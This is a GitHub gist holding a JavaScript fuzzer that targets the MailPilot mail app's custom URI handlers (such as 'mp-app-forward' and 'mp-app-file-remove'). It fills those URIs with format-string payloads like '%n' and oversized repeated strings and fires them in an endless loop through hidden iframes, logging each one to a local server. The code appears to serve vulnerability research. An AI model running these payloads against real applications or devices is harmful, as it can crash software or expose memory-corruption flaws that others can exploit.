Skip to content

Instantly share code, notes, and snippets.

@jlamendo
Created March 25, 2015 23:01
Show Gist options
  • Save jlamendo/9f4d34cb965420a09c40 to your computer and use it in GitHub Desktop.
Save jlamendo/9f4d34cb965420a09c40 to your computer and use it in GitHub Desktop.
MailPilot URI Fuzzer
window.uriFuzz = function() {
var getUriDirective = function() {
return ['mp-app',
'mp-app-forward',
'mp-app-show-original',
'mp-app-open-draft',
'mp-app-signature',
'mp-app-file',
'mp-app-file-remove',
'mp-delete-draft',
'mp-app-begin-saving-draft'
][Math.floor(Math.random() * 9)]
}
window.genUriFuzzStr = function() {
fuzzStr = getUriDirective() + ":-iOS-" + function() {
return (new function() {
this.l = [255, 256, 257, 420, 511, 512, 1023, 1024, 2047, 2048, 4096, 4097, 32762, 32763, 32764, 32765, 32766, 32767, 32768, 65534, 65535, 65536];
this.m = "A %x %n %s %s%n%x%d %99999999999s %99999999999d %99999999999x %99999999999n %08x %%20s %%20x %%20n %%20d".split(" ");
this.s = "%.1024d %.2048d %.4096d %.8200d %99999999999s %99999999999d %99999999999x %99999999999n %#0123456x%08x%x%s%p%n%d%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%#0123456x%%x%%s%%p%%n%%d%%o%%u%%c%%h%%l%%q%%j%%z%%Z%%t%%i%%e%%g%%f%%a%%C%%S%%08x".split(" ");
this.f = this.s.length + this.m.length;
this.g = function(a) {
return a < this.m.length ? Array(this.l[Math.floor(Math.random() * this.l.length)]).join(this.m[a]) : this.s[a - this.m.length]
};
this.fz = function() {
return this.g(Math.floor(Math.random() * this.f))
}
}).fz()
}();
e = function(a, c, d) {
var b = new XMLHttpRequest;
if (!a) throw Error("No URL supplied");
b.open("GET", a, !0);
b.setRequestHeader("Content-type", "text/plain; charset=utf-8;");
b.withCredentials = "true";
b.onreadystatechange = function() {
if (4 === b.readyState && b.status) try {
d && d(null, b.responseText, b.status)
} catch (a) {
throw Error("Malformed response");
}
};
c ? (c = JSON.stringify(c), b.send(c)) : b.send()
};
t = "http://127.0.0.1:8000?uriFuzzVector=" + fuzzStr;
e(t, function(a, c, d) {
return a ? a : "Status Code: " + d + ":" + c
});
return fuzzStr
};
setInterval(function() {
try {
var a = window.parent.parent.parent.document.createElement("IFRAME");
a.setAttribute("src", genUriFuzzStr());
window.parent.parent.parent.document.documentElement.appendChild(a);
a.parentNode.removeChild(a)
} catch (c) {
prompt(c)
}
}, 0)
};
uriFuzz();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment